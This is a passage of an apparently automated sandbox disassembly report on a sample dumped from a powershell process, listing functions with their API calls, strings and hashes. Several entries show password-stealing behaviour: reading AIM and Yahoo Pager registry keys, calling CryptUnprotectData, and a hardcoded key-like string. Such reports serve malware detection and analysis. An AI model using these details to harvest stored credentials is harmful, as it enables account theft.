LoadStringA.USER32(00000000,00000006,?,?), ref: 00408838
memcpy.MSVCRT ref: 00408877

Part of subcall function 004086ED: ??2@YAPAXI@Z.MSVCRT ref: 00408715
Part of subcall function 004086ED: ??2@YAPAXI@Z.MSVCRT ref: 00408733
Part of subcall function 004086ED: ??2@YAPAXI@Z.MSVCRT ref: 00408751
Part of subcall function 004086ED: ??2@YAPAXI@Z.MSVCRT ref: 00408761

Strings

<html><head>%s<title>%s</title></head><body>%s <h3>%s</h3>, xrefs: 00408783
strings, xrefs: 004087E0

Memory Dump Source

Source File: 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_powershell.jbxd

Similarity

API ID: ??2@$LoadString_itoa_mbscpymemcpystrlen
String ID: <html><head>%s<title>%s</title></head><body>%s <h3>%s</h3>$strings
API String ID: 4036804644-4125592482
Opcode ID: ef01070cab15df538a3798e247c3de3082de72e9928e1165ff50cbaae212c905
Instruction ID: dfb39b5d66abeec2138625290c7fe1e8033edbc7f9ca8f6d480f1a826448875f
Opcode Fuzzy Hash: ef01070cab15df538a3798e247c3de3082de72e9928e1165ff50cbaae212c905
Instruction Fuzzy Hash: 60316E3E6001119FD714AF16EE809F63769FB84308794843EEC81A72A6DB39A841CB5E

Function 0040FD2E Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 97registryCOMMON

Download Yara Rule

APIs

RegQueryValueExA.ADVAPI32(?,?,00000000,00000000,?,?,?,75B4EC10,00000000), ref: 0040FD62
RegCloseKey.ADVAPI32(?,?,75B4EC10,00000000), ref: 0040FE4D

Part of subcall function 00404C9D: LoadLibraryA.KERNELBASE(crypt32.dll,00000000,00404771,?,?), ref: 00404CAA
Part of subcall function 00404C9D: GetProcAddress.KERNEL32(00000000,CryptUnprotectData), ref: 00404CBC

memcpy.MSVCRT ref: 0040FDD4
LocalFree.KERNEL32(?,?,00000000,?,?,75B4EC10,00000000), ref: 0040FDE6
RegQueryValueExA.ADVAPI32(?,?,00000000,00000000,?,?,?,75B4EC10,00000000), ref: 0040FE2F

Strings

, xrefs: 0040FD76

Memory Dump Source

Source File: 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_powershell.jbxd

Similarity

API ID: QueryValue$AddressCloseFreeLibraryLoadLocalProcmemcpy
String ID:
API String ID: 2372935584-3916222277
Opcode ID: f66a63af9bc6ad28e2805ee69a38c801a35cdaa6f28638d5b3a381909aedb857
Instruction ID: 0b8e4f374d5667c45180376da1c8b12cffb8e3ff2062487e5a08cff45f7818d2
Opcode Fuzzy Hash: f66a63af9bc6ad28e2805ee69a38c801a35cdaa6f28638d5b3a381909aedb857
Instruction Fuzzy Hash: 6B414CB2900209ABCF21DF95D940ADEBBF8AF48304F10407BE915B7291D774AA44CFA8

Function 00408D47 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 77windowstringCOMMON

Download Yara Rule

APIs

GetMenuItemCount.USER32(?), ref: 00408D5C
memset.MSVCRT ref: 00408D7D
GetMenuItemInfoA.USER32 ref: 00408DB8
strchr.MSVCRT ref: 00408DCF

Strings

0, xrefs: 00408D98
6, xrefs: 00408DA0

Memory Dump Source

Source File: 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_powershell.jbxd

Similarity

API ID: ItemMenu$CountInfomemsetstrchr
String ID: 0$6
API String ID: 2300387033-3849865405
Opcode ID: c4cc32d9f86e60e61665d107887000d313b636c57177f5370dd8caf8ca2e51bb
Instruction ID: e6c6313dcb9b7a471bbfbaa7ec765517bc0a4c64eff5ea5afbcc667e6a019d72
Opcode Fuzzy Hash: c4cc32d9f86e60e61665d107887000d313b636c57177f5370dd8caf8ca2e51bb
Instruction Fuzzy Hash: DD21BF71408384AFD7118F11D881A9BB7E8FF85348F044A3FF584A62D0EB39D944CB9A

Function 00407034 Relevance: 10.6, APIs: 6, Strings: 1, Instructions: 59stringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00407055
sprintf.MSVCRT ref: 0040707E
strlen.MSVCRT ref: 0040708A
memcpy.MSVCRT ref: 0040709F
strlen.MSVCRT ref: 004070AD
memcpy.MSVCRT ref: 004070BD

Strings

%s (%s), xrefs: 00407078

Memory Dump Source

Source File: 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_powershell.jbxd

Similarity

API ID: memcpystrlen$memsetsprintf
String ID: %s (%s)
API String ID: 3756086014-1363028141
Opcode ID: 936799879657ece0d987efaaa21eb692f92e76d5c857caaa6a1a5a279cf2af51
Instruction ID: a198fb7af375a94c8e27cd288863d28c10177bb58caa4549e63a683f86c2f09a
Opcode Fuzzy Hash: 936799879657ece0d987efaaa21eb692f92e76d5c857caaa6a1a5a279cf2af51
Instruction Fuzzy Hash: 93114FB2800158BBDB21DF69DC45BDABBBCEF01309F0005AAE644B7101D775AB55CBA5

Function 00406DCD Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 53COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00406DEC
sprintf.MSVCRT ref: 00406E0D
_mbscat.MSVCRT ref: 00406E1F
_mbscat.MSVCRT ref: 00406E3C
_mbscat.MSVCRT ref: 00406E4B

Strings

%2.2X, xrefs: 00406E07

Memory Dump Source

Source File: 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_powershell.jbxd

Similarity

API ID: _mbscat$memsetsprintf
String ID: %2.2X
API String ID: 125969286-791839006
Opcode ID: 2a8733490f50d4093b983ca8d1f50ec72e55e73e138ed9e783ee61cb0d8a9bf3
Instruction ID: 5142681b0c0ad1f2d34765b6081944bd4f79e84a169991ad97d052608da76018
Opcode Fuzzy Hash: 2a8733490f50d4093b983ca8d1f50ec72e55e73e138ed9e783ee61cb0d8a9bf3
Instruction Fuzzy Hash: 82012872A0431466D7225A26DC43BEB77AC9B44B05F10007FFC45B51C1FABC96C447D8

Function 0040496D Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 37COMMON

Download Yara Rule

APIs

_mbscat.MSVCRT ref: 004049BE
_mbscpy.MSVCRT ref: 004049CC
_mbscpy.MSVCRT ref: 004049DA

Strings

memcpy, xrefs: 004049C6
msvcrt.dll, xrefs: 004049D1
eK@, xrefs: 0040497B, 00404985

Memory Dump Source

Source File: 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_powershell.jbxd

Similarity

API ID: _mbscpy$_mbscat
String ID: eK@$memcpy$msvcrt.dll
API String ID: 2404237207-527332992
Opcode ID: 9354cc07b54c0733da4c2861e88293eeaaf788545539071674b28918bacbf150
Instruction ID: ade7c94f42c2b1d8f6f4d02d55b8563967db19c46ba0ec0bd93feed85f1333d3
Opcode Fuzzy Hash: 9354cc07b54c0733da4c2861e88293eeaaf788545539071674b28918bacbf150
Instruction Fuzzy Hash: 7701001144DBC089E372D7289549B97AEE51B22608F48098DD1C647A83D2AAB65CC3BA

Function 0041212C Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 36registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00411D68: RegOpenKeyExA.KERNELBASE(80000001,80000001,00000000,00020019,80000001,00402850,80000001,Software\AIM\AIMPRO,?), ref: 00411D7B

RegCloseKey.ADVAPI32(0040D439,?,?,0040D439,?,?,?,?,?,00000000,00000000), ref: 00412167
GetWindowsDirectoryA.KERNEL32(00000000,00000104,?,?,0040D439,?,?,?,?,?,00000000,00000000), ref: 00412178
_mbscat.MSVCRT ref: 00412188

Part of subcall function 00411D82: RegQueryValueExA.ADVAPI32(?,?,00000000,?,?,?,00000008,00000008,?,0040275E,?,TRIPWD), ref: 00411D9B

Strings

SOFTWARE\Microsoft\Windows\CurrentVersion, xrefs: 00412137
:\Program Files, xrefs: 0041217E
ProgramFilesDir, xrefs: 00412150

Memory Dump Source

Source File: 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_powershell.jbxd

Similarity

API ID: CloseDirectoryOpenQueryValueWindows_mbscat
String ID: :\Program Files$ProgramFilesDir$SOFTWARE\Microsoft\Windows\CurrentVersion
API String ID: 3464146404-1099425022
Opcode ID: e9cddbae49c6936b151603412141959aab3e5c022f3d8ee6b822fd87b43eeab7
Instruction ID: 662ef04aa31600ef20de70b7cf87d02e8b1ceff17a77a69e12e4cdaece8db846
Opcode Fuzzy Hash: e9cddbae49c6936b151603412141959aab3e5c022f3d8ee6b822fd87b43eeab7
Instruction Fuzzy Hash: 2DF0E972508300BFE7119754AD07BCA7FE88F04314F20005BF644A0181FAE96EC0C29D

Function 00408B7A Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 33COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00408BA5
sprintf.MSVCRT ref: 00408BBA

Part of subcall function 00408C31: memset.MSVCRT ref: 00408C55
Part of subcall function 00408C31: GetPrivateProfileStringA.KERNEL32(0041E308,0000000A,00417C88,?,00001000,0041E200), ref: 00408C77
Part of subcall function 00408C31: _mbscpy.MSVCRT ref: 00408C91

SetWindowTextA.USER32(?,?), ref: 00408BE1
EnumChildWindows.USER32(?,Function_00008B1D,00000000), ref: 00408BF1

Strings

caption, xrefs: 00408BC6
dialog_%d, xrefs: 00408BB0

Memory Dump Source

Source File: 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_powershell.jbxd

Similarity

API ID: memset$ChildEnumPrivateProfileStringTextWindowWindows_mbscpysprintf
String ID: caption$dialog_%d
API String ID: 2923679083-4161923789
Opcode ID: c978e5f3a12a1d3306ee320e52636f41f7f8daffb1fc4c3eb51a0652a28ecf73
Instruction ID: de831da21bc0203e5008b33b3115c9aeec9d60fef0dfeaee9ccd5ecb51ae2e74
Opcode Fuzzy Hash: c978e5f3a12a1d3306ee320e52636f41f7f8daffb1fc4c3eb51a0652a28ecf73
Instruction Fuzzy Hash: EEF0C27054034CBAEB129751DC06FD93A686B08B05F0440AABB84B11D1DEB896C08B1D

Function 00411356 Relevance: 9.1, APIs: 6, Instructions: 142COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00000410,00000000,00000000,?,?,00000000,?,004107B0,00000000,?), ref: 0041138D
memset.MSVCRT ref: 004113EA
memset.MSVCRT ref: 004113FC

Part of subcall function 00411172: _mbscpy.MSVCRT ref: 00411198

memset.MSVCRT ref: 004114E3
_mbscpy.MSVCRT ref: 00411508
CloseHandle.KERNEL32(?,004107B0,?), ref: 00411552

Memory Dump Source

Source File: 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_powershell.jbxd

Similarity

API ID: memset$_mbscpy$CloseHandleOpenProcess
String ID:
API String ID: 3974772901-0
Opcode ID: 745c210aaaa6b85eaae148b780003da6f3cf09640a074c35b8bdb1d56aff2f36
Instruction ID: 2b4e81a65471dd6bda77e3e7a539d18b8ecf8660f8cea3ab0205070076e1852f
Opcode Fuzzy Hash: 745c210aaaa6b85eaae148b780003da6f3cf09640a074c35b8bdb1d56aff2f36
Instruction Fuzzy Hash: 5F511FB1D00218ABDF10DF95DC85ADEBBB9EF48704F0040A6E609A6251D7759FC0CF69

Function 0040807D Relevance: 9.1, APIs: 6, Instructions: 98stringCOMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 00408094
memcpy.MSVCRT ref: 004080A3

Part of subcall function 0040C929: memcpy.MSVCRT ref: 0040C9BA

Part of subcall function 0040C9C7: memset.MSVCRT ref: 0040C9E6
Part of subcall function 0040C9C7: memset.MSVCRT ref: 0040C9FC
Part of subcall function 0040C9C7: memcpy.MSVCRT ref: 0040CA33
Part of subcall function 0040C9C7: memset.MSVCRT ref: 0040CA3D

memset.MSVCRT ref: 00408120
strlen.MSVCRT ref: 00408160
_mbscpy.MSVCRT ref: 0040817F
_mbscpy.MSVCRT ref: 0040818C

Memory Dump Source

Source File: 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_powershell.jbxd

Similarity

API ID: memcpymemset$_mbscpy$strlen
String ID:
API String ID: 2712745786-0
Opcode ID: 50e45666a0393e5ef850d505c3c738091cb5fcbebc819cab067422742a707744
Instruction ID: bdbe0c05a74f47d21f032104af17620136749afb05b7a30319e2a8bb584ff9b0
Opcode Fuzzy Hash: 50e45666a0393e5ef850d505c3c738091cb5fcbebc819cab067422742a707744
Instruction Fuzzy Hash: AC3194728001099ACF14EF65DC85BDE77BCAF44304F00446FE549E7181EB74A68A8BA5

Function 0040B8FA Relevance: 9.1, APIs: 1, Strings: 5, Instructions: 70COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0040B91A

Part of subcall function 0040876F: LoadStringA.USER32(00000000,00000006,?,?), ref: 00408838
Part of subcall function 0040876F: memcpy.MSVCRT ref: 00408877

Part of subcall function 0040876F: _mbscpy.MSVCRT ref: 004087EA
Part of subcall function 0040876F: strlen.MSVCRT ref: 00408808

Part of subcall function 00407034: memset.MSVCRT ref: 00407055
Part of subcall function 00407034: sprintf.MSVCRT ref: 0040707E
Part of subcall function 00407034: strlen.MSVCRT ref: 0040708A
Part of subcall function 00407034: memcpy.MSVCRT ref: 0040709F
Part of subcall function 00407034: strlen.MSVCRT ref: 004070AD
Part of subcall function 00407034: memcpy.MSVCRT ref: 004070BD

Part of subcall function 00406E60: _mbscpy.MSVCRT ref: 00406EC6

Strings

*.txt, xrefs: 0040B933
*.xml, xrefs: 0040B989
*.htm;*.html, xrefs: 0040B960
*.csv, xrefs: 0040B995
txt, xrefs: 0040B9C7, 0040B9CA

Memory Dump Source

Source File: 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_powershell.jbxd

Similarity

API ID: memcpystrlen$_mbscpymemset$LoadStringsprintf
String ID: *.csv$*.htm;*.html$*.txt$*.xml$txt
API String ID: 2726666094-3614832568
Opcode ID: 48ad67bf17a677834281717159f6163cc093dbae317e4fe0e66c085f04f9eb92
Instruction ID: 663635aaa2767a47ae833ce325b1c2bbb94a135e02c7cec880bc1d98f4d47d81
Opcode Fuzzy Hash: 48ad67bf17a677834281717159f6163cc093dbae317e4fe0e66c085f04f9eb92
Instruction Fuzzy Hash: 8E21EBB5C002189FCB01FFA5DA817DDBBB4AB08708F20417FE549B7286DF381A558B99

Function 00406CAA Relevance: 9.1, APIs: 6, Instructions: 57COMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 00406CB5
GetDeviceCaps.GDI32(00000000,00000008), ref: 00406CC6
GetDeviceCaps.GDI32(00000000,0000000A), ref: 00406CCD
ReleaseDC.USER32(00000000,00000000), ref: 00406CD5
GetWindowRect.USER32(?,?), ref: 00406CE2
MoveWindow.USER32(?,?,?,?,?,00000001,?,76936C10), ref: 00406D20

Memory Dump Source

Source File: 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_powershell.jbxd

Similarity

API ID: CapsDeviceWindow$MoveRectRelease
String ID:
API String ID: 3197862061-0
Opcode ID: 46aa025759630b167b55e315cdb859b7672f25e3c69014d30f42312940603d98
Instruction ID: 8a34af0b3d0659c25a6c3d8e0783375a2f2358695c0a050eea5ba45bf34a7176
Opcode Fuzzy Hash: 46aa025759630b167b55e315cdb859b7672f25e3c69014d30f42312940603d98
Instruction Fuzzy Hash: 62118E32A00219EFDB009FB9CD4DEEF7FB8EB84750F054165F905A7250DA70AD01CAA0

Function 00403D24 Relevance: 9.1, APIs: 6, Instructions: 56filestringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00403D49
memset.MSVCRT ref: 00403D62
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,00001FFF), ref: 00403D79
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,000000FF,?,00001FFF,00000000,00000000), ref: 00403D98
strlen.MSVCRT ref: 00403DAA
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00403DBB

Memory Dump Source

Source File: 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_powershell.jbxd

Similarity

API ID: ByteCharMultiWidememset$FileWritestrlen
String ID:
API String ID: 1786725549-0
Opcode ID: 57566774f34a7d6a244140384ef089970c63e573ccff7e860df9a23001c61ee2
Instruction ID: 833f6c37e82b16f9b4c34b80bb2ce5ff812abd73926e68a98c8801a8732a43de
Opcode Fuzzy Hash: 57566774f34a7d6a244140384ef089970c63e573ccff7e860df9a23001c61ee2
Instruction Fuzzy Hash: 2C111BB644122CFEEB119B94DC89EEB77ACEF08354F1041A6B715E2091E6349F448BB8

Function 0040F37A Relevance: 9.1, APIs: 3, Strings: 3, Instructions: 56COMMON

Download Yara Rule

APIs

Part of subcall function 00406958: strlen.MSVCRT ref: 0040695D
Part of subcall function 00406958: memcpy.MSVCRT ref: 00406972

_strcmpi.MSVCRT ref: 0040F3D1
_strcmpi.MSVCRT ref: 0040F3F0

Strings

http://www.ebuddy.com, xrefs: 0040F3CB
https://www.google.com, xrefs: 0040F408
http://www.imvu.com, xrefs: 0040F3EA

Memory Dump Source

Source File: 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_powershell.jbxd

Similarity

API ID: _strcmpi$memcpystrlen
String ID: http://www.ebuddy.com$http://www.imvu.com$https://www.google.com
API String ID: 2025310588-2353251349
Opcode ID: 6aa85cd40264e4eeed6d724107f07241557df926fb76c4270f31d7a56a6e10ff
Instruction ID: 147ef2bbec41d1b0b79b570ae49dc02a3b2ea9406cbc79ec07c01e0a249b4c29
Opcode Fuzzy Hash: 6aa85cd40264e4eeed6d724107f07241557df926fb76c4270f31d7a56a6e10ff
Instruction Fuzzy Hash: 1B11C1B21083409AD330EF25D8457DB77E8EFA4305F10893FE998A2182EB785649875A

Function 00412E4D Relevance: 9.0, APIs: 6, Instructions: 46COMMON

Download Yara Rule

APIs

??3@YAXPAX@Z.MSVCRT ref: 00412E5B
??3@YAXPAX@Z.MSVCRT ref: 00412E76
??3@YAXPAX@Z.MSVCRT ref: 00412E8C
??3@YAXPAX@Z.MSVCRT ref: 00412EA2
??3@YAXPAX@Z.MSVCRT ref: 00412EB8
??3@YAXPAX@Z.MSVCRT ref: 00412ECE

Memory Dump Source

Source File: 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_powershell.jbxd

Similarity

API ID: ??3@
String ID:
API String ID: 613200358-0
Opcode ID: d76c6e9bbc824b9e791745045f41857ca1225a75c0f91e99517293dc547767ba
Instruction ID: 39cb4549293e6cd4e8f45f1fb6a35693fcb7bd1e2582dcc07fe9920ce8c868a3
Opcode Fuzzy Hash: d76c6e9bbc824b9e791745045f41857ca1225a75c0f91e99517293dc547767ba
Instruction Fuzzy Hash: 83014F32A0AA3527C6257E2675017CBA3646F05B29F15420FF808B73428B6C7DE046DE

Function 00413B1D Relevance: 8.9, APIs: 7, Instructions: 147stringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00413B3E
memset.MSVCRT ref: 00413B57
memset.MSVCRT ref: 00413B6B

Part of subcall function 00413646: strlen.MSVCRT ref: 00413653

strlen.MSVCRT ref: 00413B87
memcpy.MSVCRT ref: 00413BAC
memcpy.MSVCRT ref: 00413BC2

Part of subcall function 0040C929: memcpy.MSVCRT ref: 0040C9BA

Part of subcall function 0040C9C7: memset.MSVCRT ref: 0040C9E6
Part of subcall function 0040C9C7: memset.MSVCRT ref: 0040C9FC
Part of subcall function 0040C9C7: memcpy.MSVCRT ref: 0040CA33
Part of subcall function 0040C9C7: memset.MSVCRT ref: 0040CA3D

memcpy.MSVCRT ref: 00413C02

Part of subcall function 0040C929: memcpy.MSVCRT ref: 0040C96C
Part of subcall function 0040C929: memcpy.MSVCRT ref: 0040C996

Part of subcall function 0040C9C7: memset.MSVCRT ref: 0040CA0E

Memory Dump Source

Source File: 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_powershell.jbxd

Similarity

API ID: memcpymemset$strlen
String ID:
API String ID: 2142929671-0
Opcode ID: 12c23c21f074b2e82c1811d2f488e6951e7381ea67b5b6e5923544c93fd9d40f
Instruction ID: 3b0ef80f5f4f1d26b85f6ed19fc7f93af9089081b0544b1b4270697ce1475561
Opcode Fuzzy Hash: 12c23c21f074b2e82c1811d2f488e6951e7381ea67b5b6e5923544c93fd9d40f
Instruction Fuzzy Hash: EB512CB290011DAFCB10EF55DC81AEEB7A9BF04309F5445BAE509E7141EB34AF898F94

Function 00402730 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 99stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00411D82: RegQueryValueExA.ADVAPI32(?,?,00000000,?,?,?,00000008,00000008,?,0040275E,?,TRIPWD), ref: 00411D9B

strtoul.MSVCRT ref: 00402782
_mbscpy.MSVCRT ref: 00402807
_mbscpy.MSVCRT ref: 00402817

Strings

3 d5JKNNC,MANSLDJQ32ELK1N4SAIp08, xrefs: 00402797
TRIPWD, xrefs: 0040273F

Memory Dump Source

Source File: 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_powershell.jbxd

Similarity

API ID: _mbscpy$QueryValuestrtoul
String ID: 3 d5JKNNC,MANSLDJQ32ELK1N4SAIp08$TRIPWD
API String ID: 4008679483-1446091703
Opcode ID: e02f09f827b7a1402bbcc64ad373729b872f3cbb9493f1593754ca161662a432
Instruction ID: 4ca16360b260b82c0f814568f8b1846068da3ba20428fc10580ffdfcf904f702
Opcode Fuzzy Hash: e02f09f827b7a1402bbcc64ad373729b872f3cbb9493f1593754ca161662a432
Instruction Fuzzy Hash: 2C31E83280424C6EDF01DBB8E941ADFBFB4AF19310F1444AAE944FB191D674AB49CBA5

Function 0040B2F5 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 80COMMON

Download Yara Rule

APIs

_mbsicmp.MSVCRT ref: 0040B332
qsort.MSVCRT ref: 0040B3DD
SetCursor.USER32 ref: 0040B3EB

Strings

/nosort, xrefs: 0040B391
/sort, xrefs: 0040B32D

Memory Dump Source

Source File: 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_powershell.jbxd

Similarity

API ID: Cursor_mbsicmpqsort
String ID: /nosort$/sort
API String ID: 882979914-1578091866
Opcode ID: aca6ef3a54d3682c88ae91ffd4c16f467d4d6d8ebe203e6f6b8079e39e5b1455
Instruction ID: c642ed81bba6fc27793a5d708b6807a860a9cb0bcd27181b40ce8d315371ea34
Opcode Fuzzy Hash: aca6ef3a54d3682c88ae91ffd4c16f467d4d6d8ebe203e6f6b8079e39e5b1455
Instruction Fuzzy Hash: 3721A231600200DFDB05EF25C8C1E9577A9EF85728F2400BAFD19AF2D2CB79A841CB69

Function 0040C427 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 60windowCOMMON

Download Yara Rule

APIs

??2@YAPAXI@Z.MSVCRT ref: 0040C449
??2@YAPAXI@Z.MSVCRT ref: 0040C46C
DeleteObject.GDI32(?), ref: 0040C4B3
LoadIconA.USER32(00000065), ref: 0040C4FA

Strings

;@, xrefs: 0040C491

Memory Dump Source

Source File: 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_powershell.jbxd

Similarity

API ID: ??2@$DeleteIconLoadObject
String ID: ;@
API String ID: 1986663749-2925476404
Opcode ID: aac6870d61330ff5dfa6fb924a5771f84dfd7bc32999be728c9d3dbb0e26c9e2
Instruction ID: 4d16bad446557b49ffcede9a37569aa771c04751a2fd478bf3dc9e82e5d405e4
Opcode Fuzzy Hash: aac6870d61330ff5dfa6fb924a5771f84dfd7bc32999be728c9d3dbb0e26c9e2
Instruction Fuzzy Hash: A921AE70900314CBCB50AF6698846D97BA8BB01714F9886BFEC0DAF286CF7855408F68

Function 00413735 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 55registryCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00413757

Part of subcall function 00411D68: RegOpenKeyExA.KERNELBASE(80000001,80000001,00000000,00020019,80000001,00402850,80000001,Software\AIM\AIMPRO,?), ref: 00411D7B

Part of subcall function 00411D82: RegQueryValueExA.ADVAPI32(?,?,00000000,?,?,?,00000008,00000008,?,0040275E,?,TRIPWD), ref: 00411D9B

RegCloseKey.ADVAPI32(?,?,?,?,000003FF,?,00000000), ref: 004137BF

Strings

Software\Yahoo\Pager, xrefs: 00413763
Yahoo! User ID, xrefs: 0041377C
EOptions string, xrefs: 00413791

Memory Dump Source

Source File: 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_powershell.jbxd

Similarity

API ID: CloseOpenQueryValuememset
String ID: EOptions string$Software\Yahoo\Pager$Yahoo! User ID
API String ID: 1830152886-1703613266
Opcode ID: 0237e653f74925a001417010736f5cc4d8aa8eddb031e6596643e2c9a8a80dd1
Instruction ID: 02697a5e3e6c6c3f452774ad5988b122dd70f79e91add571e9a1c89a2d7602b2
Opcode Fuzzy Hash: 0237e653f74925a001417010736f5cc4d8aa8eddb031e6596643e2c9a8a80dd1
Instruction Fuzzy Hash: 9301F9B6B00104FFEF106A95AD42ADA7BACDF04315F10406BFE04F3251E675AF8586AC

Function 00412396 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 53COMMON

Download Yara Rule

APIs

SHGetMalloc.SHELL32(?), ref: 004123A6
SHBrowseForFolder.SHELL32(?), ref: 004123D8
SHGetPathFromIDList.SHELL32(00000000,?), ref: 004123EC
_mbscpy.MSVCRT ref: 004123FF

Strings

[@, xrefs: 004123B6

Memory Dump Source

Source File: 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_powershell.jbxd

Similarity

API ID: BrowseFolderFromListMallocPath_mbscpy
String ID: [@
API String ID: 1479990042-3416412563
Opcode ID: 0ed61469ac53670edaa810a2117bfc786e2c3e1837aac1e3952743f7bc219d88
Instruction ID: 5ef3e47e4b44953a2dad9ee1bf13406931f922e9c8d23326f6bb0268a582906b
Opcode Fuzzy Hash: 0ed61469ac53670edaa810a2117bfc786e2c3e1837aac1e3952743f7bc219d88
Instruction Fuzzy Hash: 5F11FAB5900218EFCB00DFA9D984AEEBBF8EB49314B10406AE905E7200D779DE45CB64

Function 00408C31 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 37COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00408C55
GetPrivateProfileStringA.KERNEL32(0041E308,0000000A,00417C88,?,00001000,0041E200), ref: 00408C77
_mbscpy.MSVCRT ref: 00408C91

Strings

<html><head>%s<title>%s</title></head><body>%s <h3>%s</h3>, xrefs: 00408C3E
?@, xrefs: 00408C31

Memory Dump Source

Source File: 00000011.00000002.2272649918.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_powershell.jbxd

Similarity

API ID: PrivateProfileString_mbscpymemset
String ID: <html><head>%s<title>%s</title></head><body>%s <h3>%s</h3>$?@
API String ID: 408644273-2377969721
Opcode ID: eaa32ef34ef00f9ac7c7a4cfa2a550b3bebd30948c3fa105c0e2286ae863700b
Instruction ID: 2fc49bb05c8bae64ff8dc8c223d61166255d3b04a08aec8dce2eb6f2e2500c43
Opcode Fuzzy Hash: eaa32ef34ef00f9ac7c7a4cfa2a550b3bebd30948c3fa105c0e2286ae863700b
Instruction Fuzzy Hash: BCF0E0725451587AEB139B54EC05FCA7BBC9B4C706F1040E6B749F6080D5F89AC087AC

Function 00406830 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 29windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00406840
